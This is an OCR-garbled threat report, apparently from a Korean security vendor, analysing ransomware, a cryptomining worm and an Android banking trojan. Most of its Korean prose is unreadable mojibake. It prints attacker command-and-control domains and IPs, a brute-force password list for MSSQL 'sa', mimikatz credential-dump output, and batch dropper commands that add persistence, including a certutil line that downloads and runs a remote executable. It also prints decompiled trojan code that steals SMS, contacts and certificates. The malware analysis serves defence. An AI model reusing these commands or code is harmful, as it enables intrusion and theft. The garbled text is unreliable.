| am from freelancer. : | am from freelancer.

Hello. My name ig|FungsuiLnagu )

I can do your request. | am living in china.

Let's discuss on chatting. | can start your work now.,

| My sky is om197019621903@hotmail.com | | My paypal is aii199293 | EE——

Thank you Thank you.
B PayPal Inc X - - = 2
< c & httpsy//www.paypal.com/authflow/email-recovery/done/?cou.. 9 (4]

P

ZXote ol &S EHME
L.

SiaCoin rejections not calculated #56

opened this issue on 16 Jul 2017 - 1 comment

ﬂ commented on 16 Jul 2017 - edited =
Claymore's console log sometimes says:
SC: Received error: {"jsonrpc":"2.8","id":4,"error”:{"code"”:-32788, "message": "Sharerejecied"}}
but all the follewing status lines still say zero rejected:
SC - Total Speed: 916.318 Mh/s, Totsl Shares: 192, Rejecied: @

I'm using Nanopool ( sia-eul.nanopool.erg: 7777 ).

L
" rl

Fungsyujonggu fommented on 19 Jul 2017 - edited ~

I have a source of dual mining

| am sure this is the same as claymore’s methed.

If you want to know the principle, let me know.
| Email: om 197019621993 @hotmail.com |

[72! 29]'om197019621993@hotmail.com’ APt tiger199392' Stk SIH

[2] 12]9] JemFedura 7t A%HH SHH jamshine1993@hotmail.com'e] OAE HZO|
'0om197019621993@hotmail.com' @2 HZAZ| 1T QUSLIC
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HE7H & 7|1

O 1 27| GA| ZH=T2(GandCrab) HHAIY0I7t ACI0IES HS0IH XEHOE QLRI UALK|RIA, X[t

BEM SLSKIM, RE ATE ARIFE, AHXHTA _Jt%Pé,f O|OJX| X213 2fdt S Ciefet HEHO| oFd HIYS

HHEE QRS LT

SZAKE WY LHSS £07| Siet SHOR, MY SR} BUS TFIDHEH LSO 0|HUS Wsh H
MAOILE URL S SRBHEE RLISH="AS| S 7|8 S 52 AIBSHL QU= Z0| STYULIC

3l
LSk 1 27| AR S22 Kltoll 4 =71 A SHO Hlol 2F 3.5% 5% HAs A= LIEKHX|RE 12719t
2 €= Qloff Bf 27 CHH| ZMt 7t K0 2 FHE A5/t ZEM= ES

O] S10lI== 1 2710ik= 71E 'HIHA 2f7(Venus Locker) BHEYI0 RE Z2I0| 8t SEEROZ HETF 24491101

= A RIE 2X0| SEHSL.

FIO| Edret V12|, ME2 24 £85 20

24X ESRC = 0] ZZI= '2IZ210| 2mH|0|E{(Reply Operator) 2 HHo! 524 IiH ZLEZE I EAS FIR4ESHD

UELICE
HESH SHAQI0] 2] 1 2710 M MAMCE RIEE = HHM0f= Chaat ZELIC
A0 =3
Windows MHE F E}JICZE, 55| 7| SAHZ| A|ARQI Active
CLOP Directory MHE F2 SZot= 0. i AETE0 ZEETH 2| MHO|
AZE 2= E20|E7t 53tk &%t ASME AHE5HH il HZ2| X
F3E AME
STOP HE #HAO= OiY LSt SAH ALEXA 2 BE /FF EZO0
Djvu ZO0E F7t=2 22 E6HH, OoiAte] A AUSHE, 71 =i
X, MK PCO| MEE HUHS, A|AR OS HE S8 EF
WInRAR 2| ACE 0 EXlist= ZE & FAH AAEZAS Sl
JNEC.a HHEZ|H, ML X2 Y 553 7|12 L= 2ot Y29l Gmail FAE
AMEol= HEAYNE, NET2=E AL UL GoogleUpdate.exe £ 7=
AM0|E T2MAQ ZiXMEH AH
ST0AM REED U= HHEUHZ 71EQ FilesLocker HHEYIO{2] Ul 2F HOHIS
Gorgon JH4dote] HMIZHE HE/UNHOIH, S0, O, eot=20E X|&HotH, HHEQ)
AR txt EEXOIM html EHAZ HEE
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SAI0l|, SEQIE{UITISA(KISA)IS| A0 FE =1, S S Tilich! USLILE HS EHE T2 Mds
QFHOHA| TS0 SMATAELICE ZAFRIC,

ESTsecurity




HTM

E

=3
oo

of

O|AEA|FE[E] H?

el

=X

A

A=

Ok
=]

ESTsecurity



O3

-1 O-l—

HI

i

.I
—

[Trojan.Trickster.Gen]

OLYAC EA HTIM

1. 70

WARE] SRR 714 EHJng

0| AT SMB E[OkEQ|

(i e | B

147 WannaCryptor 2HAYI0{0|
TC MOt SXOZ AKZO| |17

MS17-010" S Sali LIIE
AIRE|0] 2 IFHE 250

= HM—
(C}

3._* 2 =":=0| =5 “e*?ﬂEII’_ UL OfEH|

HERIZZ M= 0] £

&OICt. 501 0] F

0 X7 2P X=X 52 PCE 2=

LS—

2 HM0lME UM OESH 7IsS ks iidat, mndat QFETE0] ChoH 242t MM 2AIGHIXt SHCt
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2, 43TE SM =4

0| TUS 24 PC M 7 U CI22T Jh5T SMB SRS S8t OMTE Ml TH5S 43It

O - —

5 MSSQL ‘sa’ AW HILHS, U =4, 05 HE, PC 0I5, Xt7| XHAl I
7 =

37|, &g PC AlZt, HIERS A7 Sl EE It
A, = AE & ZF6] flo RELA oiF =712 O|0|7I=E ARSI 0] === O|07t=

ZlCt,
7t QAFSE MYE OtE ‘m2.pst’ S Soif HAEL. Ol SHX= HWHOZRE EHXIE 2|1
ob7| floi m&o| H=2|0f D|0j7I=E EESIH Aotz 7IsS ST

ey powershell.exe 2764 2602  480B/s 15869 .. Windows PowerShe
(27 Interrupts 271 0 Interrupts and DPC|
powershellkexe ~exec.bypass "import-module C:#Users®  #Desktop#m2.ps1” =
File:

CHWindows#System 32w WindowsPowerShellyvl OWpowershell.exe

'PU Usage: 32.73%  Physical N Windows PowerShell 6.1.7600.1638

Microsoft Corporation

Notes:
Signer: Micresoft Windows

Console host: conhost.exe (1836)
Process is in a job.

(22 1] DjOj7t= A 3

ET A A= Mo|E S4S S0 ‘mkatz.ini’ 0 Or2Het Z0] MEEH, M= AH 0§ & H
I:II_-| C
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FAHEE
AT OHE

WS

bduthentication Id

mimikatz 2.1.1
"ALa ¥
# /W #4  /+++ Benjamin DELPY “gentilkiwi’
> http://blog.gentilkiwi.com/mimikatz
Yincent LE TOUX
> http://pingcastle.com / http://mysmartlogon.com

mimikatz(powershell) # sekurlsa::
: 0 ; 91465 {00000000:00016543)

ie,

{x86) built on &ug 3 2018 17:04:22 - |il!
& L Amour” - (oe.eo
{ benjamin@gentilkiwi.com )

vincent . letoux@anail.com )
*hd

|ogonpasswords

Session : Interactive from
|User Name : john
Domain © WIN-
Logon Server © WIN- 3
Logon Time 1 2017-03-01- 2% 8:43:54 ,
SID & [ - v : Bow

[DDDDDDDS] Primary

+ Username : john

+ Domain  : WIN-

+ LM :

+ NTLM

+ GHA1
tspkg :

+ Username : john

+ Domain  : WIN-

+ Password © m1234
wdigest

+ Username @ john

+ Domain  © WIN-

+ Password © m1234

kerberos :

+ Username @ john

+ Domain  : WIN-

+ Password © m1234

[23 2] OJOj7t= 0| MEE  ‘mkatz.ini
= ‘ 0 _ == ;
St MSSQL ME AJAED E|XPQI ‘sa’” AE H|EHS EFE AlSliC) 0|8
=1 L_ = = = = = ‘ ’ o
o= 1433 ZEQ9| &3t (R E =Qlsitt, 0| ‘sa’ A Eo| Ciah or2iel HIH

(23 3]
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‘sa’  AI™EO|| Brute-Force 2Zot= ZE

25 MSSQLOIA] A}
HSZ Brute-



He S5S HHEL.

M EHT1

HI

opgaCE
=]|
=

Otle AMME 2FE 2loH Brute—Force MM AR L= H]
"'"123456''password’,'qwerty','12345678','123456789','123''1234''123123''12345','12345678','123123123',"1

234567890','88888888','111111111''000000','111111','112233','"123321','654321','666666','888888','a12345

6''123456a','5201314''1qaz2wsx’,'1g2w3e4r''qwe123','123qwe’,'a123456789','123456789a','baseball’,'dragon

''football','iloveyou’,'password','sunshine’,'princess','welcome','abc123','monkey',|@#$%"&*' 'charlie','aa123456',

Aa123456''admin’,'homelesspa’,'password1’,'1g2w3e4r5t', 'qwertyuiop','1 qaz2wsx','sa’,'sasa’,'sa123','sql2005','1"
,admin@123','sa2008','1111''passwOrd','abc’,'abc123','abcdefg’,'sapassword',’Aa12345678''/ABCabc123','sqlpas

sword','"1gaz2wsx’,'1qaz!QAZ','sql2008','ksa8hd4,m@~#%$%"&*()','4ygbm4,m'~1@~#$%"&*(),.;
V4ygbm4,m'~1@~#$%"&*(),.;','A123456' 'database’,'saadmin’,'sql2000','admin123','p@ssword’,'sql123','sasasa’,
2 Sl MEE SESIC, Ol HE 5

adminsa’,'sql2010','sa12345','sa123456','saadmin’,'sqlpass’
ZIIMOZ 05 HE PC 02, Xp7| XAl I 37|, ZSPC AL HIEYT ATH

& A0\t
s HEE= OS] CRCE TSl
info.abbny.com/
info.ackng.com/
info.beahh.com/

ESTsecurity



Oftll= MSE= Z48PC EE =1HO|Ct,

GET /e.png?id= &mac= ;
&0S=
&BIT= &IT=. W& c= &VER= &d=I &from=8&mpass= &size=
Accept-Encoding: identity
Host: info.abbny.com
Connection: close
User-Agent: Python-urllib/2.7

HH

folr

[1% 5] CA(CE TEE= ZEPC FE

212.422H
YHE MSE 0|7, CRCUM 7} ofd O22E 3 dlioitt HR22E F== O0f2fet ZL.

(O3 6] 22H A=

213. 84 PCE 4¢3 Mt
SMB FA4E(MS17-010)2 0|8 WE HEHNZ H 29 2F HESRZS EH PC2 AJIEE

Mopettt, MO e HIERIS =52 Ozt ZCh,

71—

1) 192.168.0.1/24, 192.168.1.1/24, 192.168.2.1/24, 192.168.3.1/24, 192.168.4.1/24, 192.168.5.1/24,
192.168.6.1/24, 192.168.7.1/24, 192.168.8.1/24, 192.168.9.1/24, 192.168.10.1/24, 192.168.18.1/24,
192.168.31.1/24, 192.168.199.1/24, 192.168.254.1/24, 192.168.67.1/24, 10.0.0.1/24, 10.0.1.1/24,
10.0.2.1/24,10.1.1.1/24,10.90.90.1/24,10.1.10.1/24,10.10.1.1/ 24,

2) netstat —na, ipconfig & S6hA L= IP 2 CHALY

3) http://ip.42.pl/raw, http://jsonip.com OlA] Y= IP
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http://ip.42.pl/raw
about:blank

SMB #[efd ZE= Ofafieb ZL.

[O= 7] SMB F ™ IE

HMOoEl= AMHIEE X7 XA fiidat” 2F ‘p.bat’ O] 282 A PC 2l ‘C:\Windows\temp\’

o1l-—"1_
Z00  ‘msinstall.exe’ , ‘p.bat’ O 0|ECZ MM 2 MIHEC

AZNOZ §7 PCON MWE= AYTEE msinstallexe’ OlA YOI 0ISQ| o WU Xp}
SH, CQC HZ X9 ‘mshta.exe (C&CFA) FINE XY AHZ2{0| SSFHCh 0] YN
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copy /y c:HuindowsWtempiimsInstall.exe c:Wwindows¥#BnHMuXXD.exe

netsh interface ipuvé install

netsh firewall add portopening tcp 65532 DNS2

netsh interface portproxy add vitouvks listenport=65532 connectaddress=1.1.1.1 connectport=53
netsh firewall add portopening tcp 65531 DNSS2

netsh interface portproxy add vitovks listenport=65531 connectaddress=1.1.1.1 connectport=53
netsh firewall add portopening tcp 65533 DNSS3

netsh interface portproxy add vitovis listenport=65533 connectaddress=1.1.1.1 connectport=53
if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 58
10 /ST 07:00:00 /TN Autoload /tr "c:WwindousttempWinstalled.exe"&schtasks /run /TN Autoload)
net start Ddriver

for /f %%i in ('tasklist | find /c /i "cmd.exe"') do set s=%%i

if %s% gtr 18 (shutdown /r)

net user k8h3d /del

del c:Wwindowsktempip.bat

c:Wwindouwsttempinstalled.exe

OiE) BEE 2210 SAFING =D =S

e'-:rlﬁ - \_1) ‘j’ () 2z [E %Ei‘ [z~ @ Folder Sync

% (D) |5 CHWINDOWSH Terp Al
= X = = eb,txt
# () java A /] vmware-SYSTEM =| HAE ZA
) L2Schemas I = L
) Media e
® ) Microsoft NET N l/l _MEI28842
® [ msagent

[O28 9] MItE|= tMIAE(msinstall.exe) AlsH

ZE= AAPCHA ‘mshta.exe’ & Sl CRC(w.beahh.com/page.htm)Z HZ A|=ol= sHH
Of2Het Zrt

= ‘cmd.exe

Check 0 0,00 2824 2,676 2,052 2
7] mshta.exe

Check 0 00z 2916 3040 21

% Details | Modules | CPU Usaqe |
3 Microsoft {(R) HTML &pplication host
% - Microsoft Corporation
m YVersion 6,0,2900,5512
Discovered 2019-03-15

Command Line

[mshta http://w.beahh,com/page. html?p.

[Z& 10] ‘mshta.exe’ & Soll (RCE HA A=5t= SHH
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Ve
12
0x
i
AL
1x
i

22.1. opgH= x|
MRS QI3 Off Z22 o MUHOR X7t SIS,
eE]

C:\Users\(AF2XtA ™) \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\Windows

C:\Users\(At&Xt A'H)\AppData\Roaming

(2 1] 44 oy 9 3=

A7t ZEME Y §  CStartup’ SO WAE DIUS YOOz MH|A SESIC Ofdil= SEE
AMH|A SHHO|CY,

feUBVSAChY &4 =]
| Dependents |  Triggers |  Other |  Comment
General |  HOF | FRecovery | Dependencies
This service only uns v&ﬁgiP;rfiormance Data Hel;)er is activated. -
Type: [Own process v] Start type: [Auto start v]
Emorcontrol: |ignore ~ w [ Group:

Binary path: C:"#Uséysﬁ_ WAppﬁaEWRoaningWMiaosoﬁ It _Browse...

User account: -LocaIS;'étem

Password: ssecssee [

Service DLL:  N/A
[ ] Delayed start

it
re
w{_}'.
b

(23 1] MH|A Y A
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HI

2.2.2. ZgPC & ME

ol O E ol ‘wmic £ 0|25 = 2 AXIS
HESR AAE OFUC ‘wmic B | o0 GPU UulD, MAC Addresss &9 PC HEE ZXlstC}. Of
[ ; EHHE AlSHEl= SIHS =
gdl= wmic 3HBUE HASH= 3tHE EHECL
Ti.. Filename PID CPU Avg  Action Details Parent P, Command Line
aj WHMIC.exe 3428 055 Process Terminated ExitCode=0, Run Time=0,00 s 2692 Wmic Path Win32_VideoController Get Description
—ﬁj WMIC exe 3428 0,00 Process Started Parent Filename=C:%#Users¥joh,,, 2692 Wmic Path Win32_VideoController Get Description
-aj WMIC exe 2032 0,36 Process Terminated ExitCode=0, Run Time=0,01 s 2692 wmic nic where netconnectionid!=NULL get macaddress
ﬁj WMIC exe 2032 0,00 Process Started Parent Filename=C:¥%Users®joh,,, 2692 wmic nic where netconnectionid!=NULL get macaddress
ﬁj WHMIC, exe 1564 3,33 Process Terminated ExitCode=0, Run Time=0,00 s 2692 wmic csproduct get UUID
ﬂj WHMIC exe 1564 0,00 Process Started Parent Filename=C:¥#UsersWjoh,,, 2692 wmic csproduct get UUID
¢ ) =y =
[T& 12] ‘wmic &3 stH
AXIE MHE AZl= FlHOS bA
+8E BEE QRCE TSol= 2fH2 ofet ZLt

Address

80417788
804177C8
804177D8
804177ES
B04177F8
80417808
80417818
08417828
06417838

EEO

= 1 —

C&C

Otz et Zrt.

2 13] 3=

dHE GC2 M

ii.ackng.com
pp.abbny.com
00.beahh.com
153.92.4.49

2.2.3. 220 715
(RCZRE| BYS WOF HRITIUE A4 U MBIt BRI

ESTsecurity

mO
rlo

ASCII

http://ii.ackng.
com/t.php?ID=J0OH
H-ILEEE =20 FPAL
5d0-1EEH3243-30

HE R
R UZUSTURL o
BTN 34D-1UH

LOEELn Skl ...



opYTE 2N B

"%SYSTEMROOT%\temp” Z20| M ECH SAXS| HYO=LRH ML= HYX|IIYS
“http://27.102.128.144/aio.dat %appdata%\aio.exe” 2HE IAZ C} A

== 0l
o= X
A SHSICY,
| mbat- H2F =8 o
oeF) EEE MAO) 221V E2ZH)
if exist c:#windowst#temp#akShOlahvsTT. log -
exit

certutil -urlcache -split -f http://27.102.128.144/ai0.dat %appdataX¥aio.exe & ¥appdataitaio.exe

start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN checkd =
/té&schtasks /create /ru system /fsc MINUTE /mo 50 /ST 08:00:00 /TN checkd /tr “cmd /c ¥appdata¥
#aio.exe"&schtasks Arun /TN checkd)

echo>c “#windowstt emptdkSh01ahvsTT. log
del %0

(23 14] Y ChR2E d MH|A S55k= x| oY =

Monero AZ7|s2 =

sict,

—_

7

5 | C:wUsers# #AppData®Roamingw4ccec5f7d.exe

[2019-83—-15 11:88:25]1 Huge pages support was successfully enabled. bhut reboot rel

quired to use it
* ABOUT

LIBS

HUGE PAGES

CPU

CPU L2/L3

THREADS

POOL #1

POOL #2

m

#MRig/2.14.0 gcc/8.1.0
libuv/1.15.08 microhttpd/68.9.58

@ 3.18GHz (1> AES AUX2

Intel(R> Cored(TM> i5-4440 CPU
8.2 MB/6.8 MB

1, cryptonight, av=0.
lpp.abbny.com:443 variant auto
lpp.beahh.com:443 variant auto
POOL #3 lpp.hago.net:443 variant auto
»* COMMANDS ashrate, pause, resume
[2019-83—-15 11:88:35]1 use pool lpp.abbny.com:443
[2019-83-15 11:88:351
1790914

[2019-83-15 11:88:371 READY (CPU> threads 1{1> huge pages

X X X X X X X X

216.250.992.49

2508 algo cn/r height

from lpp.abbny.com:443 diff

memory 2048 KB

(23 15] 2HlZ 2 st
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i.dat’ 24T == SMB FAES Sot AETE HMOf 12|11 FE ME 3 CREH s Feitt 12(10 ‘mn.dat
=[R2 7158 Edl| 715 A2 UAMTEE CIRECE L ABKSIT} 0| MIUSS S+ H | St CRCE 7K1

UL,

Qe FalEl U 71K 7|Y0|ER: SMB FUHEC= Qo LI HERIZE Soll T/t 7ISoHH 71HdsH =

/IS BELZE Qlot PC £ KXot =Xl S22 Lo/t Zlig 4= U0 27 ERoiT,
TRt AdTE HfES 2lol =2 YH0|E H F= AZ5k= OiS2IAH0MS ZiOZ HL0|Esty, Wirtioz

71MO2 A/ X|=5H0F BiLt.
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03 opyzE

HI

M HT

[Trojan.Android.Agent]

gL =M HiIM

1. 70

A0 3E, HolAS S2| V| Y= I FEEIRE xLoader 7t =3l MZ2 HHCZ EMI TR UL,

&
OM HZIe| XML O HE2 QUE 2ls DNS Spoofing = 0|2sot F= 59| 17| ¢oZ 2XIeICHH

O]H HMOM= ADlMS Sot BfHOoZ QI HIHO| HAX|ION HOt Qi MOl o SO= QRRICE= HO|Ct,
72|10 5= QIER0|E ARRKIE CHAIOR = HAE B2 FH|5HH QU5 QICH

4K A
40l AIO|E2 Q|F
APK Ot % 2% 5=

22 | | ”
htth/ﬂax} Ay g3 - |

[d2 1] |E JH_E:

2 2M HIM0ME 512 QEEZ0|E ARRKIE [HAOZ 1= “Trojan.Android Agent” S M| SAIGIIXL SHCL
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03 opymE

HI

M EHT1

OFAI= L Af -" HAM

2 e —1 O-lq—— OA = 1

Trojan Android Agent 7} A |=/31 TisHRIS| HEIZ 4715101 (2 2 HHh & Z2j0] Rlo] 0| Tfzt S26pH| 2t
(29| FAE BZRIQ| EFIEIS Sai ToI0 Bt B2 EQIE AH0| HIE AEHOICE A 2A2 5510

Trojan Android Agent £ ATHHE == SIICt

2.1 "X

E FISINTT] | S T T

SEX kr porn

0| ofZ2|3|0| 4 S HBX|SIAI S LI Of 2
2[#[0] 0] CHZ0fl HMAE 5= ASLICH

MNOIHE S

v, YAIES A HE
HepHS XE oz
® bi20| #248 + slauc)
SCiTSH A 9D 97|

B U 2AbsAX] FH(SMSE S MMS)
LY 2t HAIX] 247|(SMS E= MMS)
At HAIX] 27[(MMS)
Xt O AIX] 27| (SMS)
SMS H|A|X| ELi{7|

® HI80| 2348 4 sUct
3 oress
a5 | Famep)

=

(23 2] ot HX|, 00|12, &

’

k>

=5

HEH

o2
folr

ofd | Axl= SAXIC| ZAt HAXIZRE AXELE SAX= THA0IA 012 FEE + Us ZXE ELH01
I[GHRIS RLUGH=D] $H= AEZ0|E AISAIE EICR of= SZ0Al= SEAO|ER &S RE APIE &3
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Trojan.Android Agent £ =461 | 2ol ATHEH Chs T3t 20| ZefA F27F A ZHHoH| El0] k= XS
UZSHA| =T,

- ufD
v i fxiv
> @ jjrPlvuvzmyi
v 2 Xy
> (@ jCirszelvimzuv
v Hoxyi
> (9 xyrPAvtRujzmzjP
> (@ ykkrPRGGCzusjzfe
v B zxXYxw
> @ itxkRujzmzjP
> @ s

ad 3] ZE 5+ H

TRt AN B2 FC= 4K QIOH CF T2} 20| asset ZH0| EXHHs 0| AR 24 F=S
HjA THI0IC

v [ Resources
> (= drawable-xhdpi
> [z layout
s values

v [ Assets

(23 4] AT 94 o
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StringBuilder v@_1 = new StringBuilder();
v@_1.append(this.getFilesDir().getAbsolutePath());
v@_1.append(File.separator);
ve_1.append("dex");
File vl = new File(v@_1.toString());
if(vl.exists()) {

vl.delete();
};

ByteArrayQutputStream v0_2 = new ByteArrayOutputStream();
InputStream v2 = this.getAssets().open("bin™);
v2.skip(4);
InflaterInputStream v3 = new InflaterInputStream(v2);
byte[] v2_1 = new byte[2048];
while(true) {

int ¥4 = ((InputStream)v3).read(v2_1);

if(vd == -1) {

break;
b

ve_2.write(v2_1, 0, v4);
}

((InputStream)v3).close();

byte[] v8_3 = Basefd.decode(ve_2.toByteArray(), @);
FileOutputStream v2_2 = new FileCutputStream(vl);
v2_2.write(ve_3);

v2_2.close();

StringBuilder v2_3 = new StringBuilder();
v2_3.append(this.getFilesDir().getAbsolutePath());
v2_3.append(“/a");

new File(v2_3.toString()).mkdirs();
this.s(vl.getAbsolutePath());

el e e

=1 ZICHSHA| 23EICE asset/bin TIUS GZip O US| 0] OIS Sl & Basess 2 CITY IS HXIH
SiA IR STIErY

# 2
#b
#c
' EB com
> 33
> @b
> #% sun
> (© Loader
> (® Loader$aa
> (® Loader$ab
> (® Loader$ac
> (O Loader$ad
> (9 Loader$ae

O LAandartAant it~

(2% 6] 278 A0 S AR
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IntentFilter v2_6 = new IntentFilter();
v2_6.addAction("android.provider.Telephony.SMS_RECEIVED");

v2_6.setPriority(2147483647);

v2_6.addCategory("android.intent.category.DEFAULT");

argl3.registerReceiver(this.q, v2_6);

argl3.registerReceiver(this.qg, new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE"));
argl3.registerReceiver(this.g, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
argl3.registerReceiver(this.g, new IntentFilter(n.ag.a()));

argl3.registerReceiver(this.qg, new IntentFilter("android.intent.action.USER_PRESENT"));
argl3.registerReceiver(this.q; new IntentFilter(“android.intént.action.PHONE_STATE"));
argl3.registerReceiver(this.qg, new Intentfilten(“android.net.wifi.SCAN_RESULTS"));

v2_6 = new IntentFilter();

v2_6.addAction("android.intent.action.PACKAGE_ADDED");
v2_6.addAction("android.intent.action.PACKAGE_REMOVED");

v2_6.addDataScheme("package");

argl3.registerReceiver(this.g, v2_6);

v2_6 = new IntentFilter();

v2_6.addAction("android.intent.action.SCREEN_OFF");
v2_6.addAction("android.intent.action.SCREEN_ON");
v2_6.addAction("android.media.RINGER_MODE_CHANGED");

argl3.registerReceiver(this.q, v2_6);
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p.a(argl3, v14_1.getString("wifissid”, ((String)v4)));

try {
ConnectivityManager.class.getMethod("setMobileDataEnabled”, d.e.a.a(k.a(Boolean.TYPE))).in

goto label_217;

3
catch(Exception ) {
label_217:
((TelephonyManager)vls).listen(new Loader$%ap(this), 320);
((TelephonyManager)vl5).listen(this.Ll, 32);
this.d();
this.b();
this.h.schedule(new Loader%aq(this, argl3), @, 1000);
try {
WindowManager$layoutRarams v14 3 =rnew-WipdowManagec$layvoutParams();
v15 = argl3.getApplicationContext().getSystemService("windou");
if(vl5 == null) {
throw new d.g("null cannot be cast to non-null type android.view.WindowManager");
s
vl4_3.type = 2010;
vl4_3.format = 1;
vl4_3.flogs = 8;
vl4_3.gravity = 51;
vl4_3.width = v5_1;
v1l4_3.height = v5_1;
View v2_8 = new View(argl3.getApplicationContext());
v2_8.setBackgroundDrawable(new ColorDrawable(0));
((WindowManager)vl5).addView(v2_8, ((ViewGroup%lLayoutParams)vld_3));
b3
[2% 8] =7|5 = FE
IS e Cie 7|5t S Tlloh= A & = UCH =L LZ2 S3t =712 flet 2lAH S5,
FHO A =7} Ol AP HE 3 2 34X} M2 TS J2|10 TjoiXEZt OREsofA| 2 Wl HEHIE| =7 |3t

H =<
TEO0| OHE =2 Dot AP RS +tiot= Z== S0 AlY

X

I8 sZielttk= HOIC
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Account[] v6_2 = ((AccountManager)vé_1).getAccounts();
h.a(v6_2, "accounts");
int v7 = v6_2.length == 0 2 1 : 0;
FECCVZ ™ 2) 1=0) §
Arraylist v7_1 = new Arraylist(v6_2.length);
v8 = vb_2.Llength;
int v9;
for(v9 = ©; v9 < v8; ++v9) {
Account v10 = v6_2[v9];
((Collection)v7_1).add(vl@.name + ":" + v10.type);
3

((List)v4).addAll(((Cellection)v7_1));

23 30| H
22 O HHZ =7 et

if(v6_4 1= @) {
((List)v4).add("nexonID:");
}

v6_3 = c.h();
v7 = v6_3.Length;
ve = 8;
while(true) {
if(v8 >= v7) {
break;

3
else if(vl.c.contains(v6_3[v8])) {

23 91 Ay Y= 28 A9 Yx

FEMME SAXe| B ME 2V Iekl= e+& 280k= I

&2 0] Moot Lot SEE TFlok| figt SBX =0] AU,

this.g.a("sendSms", new Loader$p(this));
this.g.a("setWifi”, new Loader%aa(this));
this.g.a("gcont”, new Loader$ac(this));
this.g.a("lock”, new Loader$%ad(this));
this.g.a("bc", new Loader%ae(this));
this.g.a("setForward”, new Loader$%af(this));
this.g.a("getForward”, new Loader$%ag(this));
this.g.a("hasPkg", new Loader$%ah(this));
this.g.a("setRingerdode”, new Loader%ai(this));
this.g.a("setRecEnable”, new Loader$q(this));
this.g.a("regstate”, new Loader$r(this));
this.g.a("showHome", new Loader$s(this));
this.g.a("getnpki”, Loader$%t.a);
this.g.a("http", Loader$u.a);
this.g.a("onRecordAction”, new Loader%v(this));
this.g.a("call", new Loader%w(this));
this.g.a("get_apps”, new Loader$x(this));
this.g.a("show_fs_float_window”, new Loader$y(this));
this.g.a("ping", new Loader$z(this));
this.g.a("getPhoneState”, new Loader%ab(this));

[ 10] B0 A
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- sendSms:SMS T&

h.b(arg2, "sms");
Message w@c=yMessage.obtain();
v@.obj = arg?;
n.h.sendMessage(ve);

[J& 11] SMS ®& 3=

- geont: IEX EF

Uri v2 = Uri.parse("content://com.android.contacts/raw_contacts");
Uri v@ = Uri.parse("content://com.android.contacts/data");
Arraylist v9 = new Arraylist();
Cursor vl = argl2.getContentResolver().query(v2, new String[]{"contact_id"}, null, null, null);
if(vl != null) {
do {
label_19:
if(vl.moveToNext()) {
String v2_1 = vl.getString(@);
if(v2_1 == null) {
continue;

¥

v2_2 = argl2.getContentResolver().query(v@, new String[]{"datal”, “"mimetype”}, "cont
if(y2 2 == pull) {

(2% 12] ¥atd 27 3E

- lock: 3fH ®Z

SharedPreferences vl = arg3.getSharedPreferences("pref”, @);
Object v3_1 = arg3.getSystemService("device_policy™);
if(v3_1 == null) {

throw new g("nullécannot be cast to'mon-null type android.:

¥

((DevicePolicyManager)v3_1).lockNow();
vl.edit().putBoolean("pudReseted"”, true).apply();
return 1;

(22 13] &tH &5 IE
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int v@ =
try {

v3[0]
v3[1]
v3[2]
v3[3]

ContentResolver v8 = arg8.getContentResolver();
4;

String[] v3 = new String[v@];

= "contact_id";
"display_name™;
"datal";
"photo_id";

Cursor v@_1 = v8.query(ContaetsGoptpactiCommonDatakKinds$Phone.CON:
if(ve_1 != null) {
while(v@_1.moveToNext()) {

String vl = v@_1l.getString(ve_1.getColumnIndex("datal"));
if(a.b.contains(vl)) {
continue;

¥

Set v2 = a.b;
h.a(vl, “"number™);
v2.add(vl);

(2 14] HEMO| EXHoh= AZSHIA HAIX] HE

- getnpki: Q1SN 25

d.e.

if(!

¥

StringBuilder v4 = new StringBuilder();
File v5 = Environment.getExternalStorageDirectory();

v4.append(v5.getAbsolutePath());

v4.append("/NPKI");
File v9_1 = new File(v4.toString());

else {

b.h.a(v5, "Environment.getExternalStorageDirectory()");

va_1.exists()) {
goto label_16;

v4_1 = v9_1.lastModified();
if(vl == v4_1) {

v9_2 = h.a(Integer.value0f(@));
= "Maybe.just(@)";

g vl_1 = new q();

v2 = new ByteArrayOutputStream();

[I& 15] 21BN EF FE
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Trojan.Android Agent 24 40| Z7EX| 11 Q4

FIF

S8 JHE,

CIS 7212 EQIEZE E5l (2 MHO| TAE SIE5K= FEo| AUH0|CE ZHK= (2
HEEI0] (2 AH{O| FAE BISSIEZE HIXISIKLE O[ZH TAS 22RI0M BSEE # (2

Ol'kl OH()." (W) _Jlk_Ol 0-I|:-”0|E I-I_Q_Ol 6]-7-” E]I_'_l-

— T10O

FAJHEQE I ER{E|

=
9| 47} HEE|

h.a(ve_1, "urlFormat™);
Object[] v2 = new Cbject[]{arg7};

h.a(arg7, "java.lang.String.format(format, *args)”
v@_1 = null;

String v2_1 = v@_1;

try {

SharedPreferences v3 = this.e;
if(v3 == null) {
h.b("preferences”);

¥

arg7 = b.a(arg7, v3.getString("addr_encoding”,
T ElaraT == A1l T

);

String v@_1 = v@.getString("addr_url™, “"https://twitter.com/%s");

arg7 = String.format(ve_1, Arrays.copy0f(v2, v2.length));

"utf-8"));

(1% 16] EREE S8 (2 M| 4 &5 FE

Chs 82 e=0 2l HAXIZ of= FZE|N AT, 24y W2 L= XEE

HIEIEI0f QUEE| SIS Si0f QU= 107} 22 26 740 O[2Lk

String[] vl = new String[13];

ﬂW]:"D&gﬂGmﬂemmGﬂaJAUG EmmxémaaMO';

vi[1] = "NESSHT0| ZACAsUL. W2X = mﬂdMNNQUG

vi[2] = "" + p.b + "0 O] AT S SN2 ILM>";

vi[3] = "QESAHF\"" + p.b + "\"HA 4 BI=N EIOIII U - UD WEE S
vi[4] = "§}0I“

vi[5] = "HA";

Vile] - "(4®].(suEY sBUG. Aus DN SeEial]
vi[7] = "OLHOI=",

vi[8] = "0IB";

vi[9] = "MUBY~;

vi[10] = "2 HB0| 0| ¥0] ASLIO.SYAES SOl ASYTE YSol0 22 ABS
vi[11] = "QSUF";

v1[12] = "ZHTS Yasida"

S22 gua-;

2STsiesBULG. (

[O" 17] $t=20{ 2L HIAIX]
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ATO|0] A= oFH ZEHE E2 TolA[S| =2 ArYE FEE 27 EFlol7|0f Azfet 2 Xt TsHE I& 2247t AUt
L

MEtA, ok ol ZF=IX @71 2igh HIY0] FRLCE SQol,. X7 =3t UR
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FA[CHOF SHTt,
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Hio|2{ A HA

170 2A

~ EX[et Y 14

I
